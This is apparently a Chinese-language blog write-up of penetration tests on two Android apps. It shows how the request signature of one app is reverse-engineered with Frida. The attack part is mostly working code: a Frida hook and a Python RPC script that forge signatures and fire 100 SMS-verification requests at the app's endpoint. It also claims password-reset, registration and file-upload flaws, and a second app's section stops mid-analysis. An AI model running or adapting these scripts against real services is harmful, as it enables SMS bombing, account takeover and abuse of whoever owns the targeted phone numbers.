app1
apk文件下载到电脑,adb install 安装到真机上,打开是一个注册页面

真机把SocksDroid打开,随便输个电话号,电脑开charles抓包:

我们放到burp重发器里,改参数重发,不出意外,果然做了签名校验不让改包:

 ok,逆一下这个apk,找到算法hook掉就好了,定位一下特征:

 
 这个函数是发送请求的一个函数,我们观察一下这段代码,可以看到我们最终发出去的sign参数的组成是:(时间 + 类型 + 未知字符 + 手机号),并且这个未知字符是这个函数的一个参数,那好办了。
 直接hook这个getSmscode函数,看看传来了哪些值,就可以得到这个未知字符,有了这个未知字符我们就可以构建sign
真机开下frida服务端,做一下端口转发:
 
hook代码:
import frida
import sys
def on_message(message,data):
    print(message)
sess = frida.get_remote_device()
nsess=sess.attach('app名字')
with open('./bk.js') as f:
    script = nsess.create_script(f.read())
script.on('message',on_message)
script.load()
sys.stdin.read()
Java.perform(function(){
    Java.use('com.jx885.library.http.CommAction').getSmscode.implementation=function(aa,bb,cc){
        console.log("hook success");
        console.log("type:"+aa,"key:"+bb,"phone:"+cc);
        return this.getSmscode(aa,bb,cc);
    }
});
hook代码执行监听,手机重新发注册的包,成功监控到:
 
 未知字符找到了,我们用getStringMD5toUpperCase(yyyyMMddHHmmss + i + str + str2) 自己先算一组数据验证下,没有错误:

这回函数需要的参数我们都拥有了,我们直接通过frida的rpc来调用这个函数,直接给我们生成sign , 并简单写个发送请求的脚本,直接实现一条龙。
 hook代码:
import frida
import time
import datetime
import requests
url = 'http://xxxxxx/Appapi/Common/getSmscode'
sess = frida.get_remote_device()
nsess=sess.attach('app名字')
phone = '15149029981'
type1 = '1'
def on_message(message,data):
    print(message)
with open('./demo1.js') as f:
    script = nsess.create_script(f.read())
script.on('message',on_message)
script.load()
for i in range(100):
    curr_time = datetime.datetime.now()
    timestamp=datetime.datetime.strftime(curr_time,'%Y%m%d%H%M%S')
    print(timestamp)
    time.sleep(1)
    sign = script.exports.getsign(f'{timestamp}{type1}wocaonima{phone}')
    print(sign)
    dd = '"phone":"{0}","sign":"{1}","currTime":"{2}","type":"1"'.format(phone,sign,timestamp)
    nd = '{'+dd+'}'
    print('hook success:'+nd)
    userjson={'userjson':nd}
  
    talk = requests.post(url=url,data=userjson)
    print("发送成功")
function sign(s){
    var res = '';
    Java.perform(function(){
        res = Java.use('com.jx885.library.http.network.HttpUtils').getStringMD5toUpperCase(s);
    })
    return res
}
rpc.exports={
    getsign:sign
};
第一个漏洞:验证码爆破

结果:
 
第二个漏洞:任意用户密码重置
 结果
 
第三个漏洞:任意用户注册与手机绑定
 结果
 
第四个漏洞:任意文件上传
 结果
 
app2
同样adb install安装到真机中,打开app,首页就是登录注册页面:

 charles加socksdroid抓一个注册的包,并放到burp的重发器中重发看看,发送的信息是加密的,但我这里发现了一个很有意思的一个点,就是每次我们点获取验证码的时候,我们快速重发,会收到短信,感觉应该存在短信轰炸漏洞,只不过加密时有时间戳,导致过了这个时间段就不行了:
 
 
 我们逆一下这个app,试试找到他的加密算法,


















